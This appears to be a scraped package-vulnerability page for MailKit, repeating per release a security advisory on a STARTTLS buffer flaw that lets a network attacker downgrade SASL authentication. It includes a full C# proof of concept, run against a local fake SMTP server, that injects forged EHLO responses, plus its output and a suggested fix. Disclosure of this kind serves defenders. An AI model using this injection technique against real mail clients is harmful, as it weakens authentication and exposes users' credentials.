            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

May 12, 2021

2.11.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 16, 2021

2.11.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 12, 2021

2.10.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

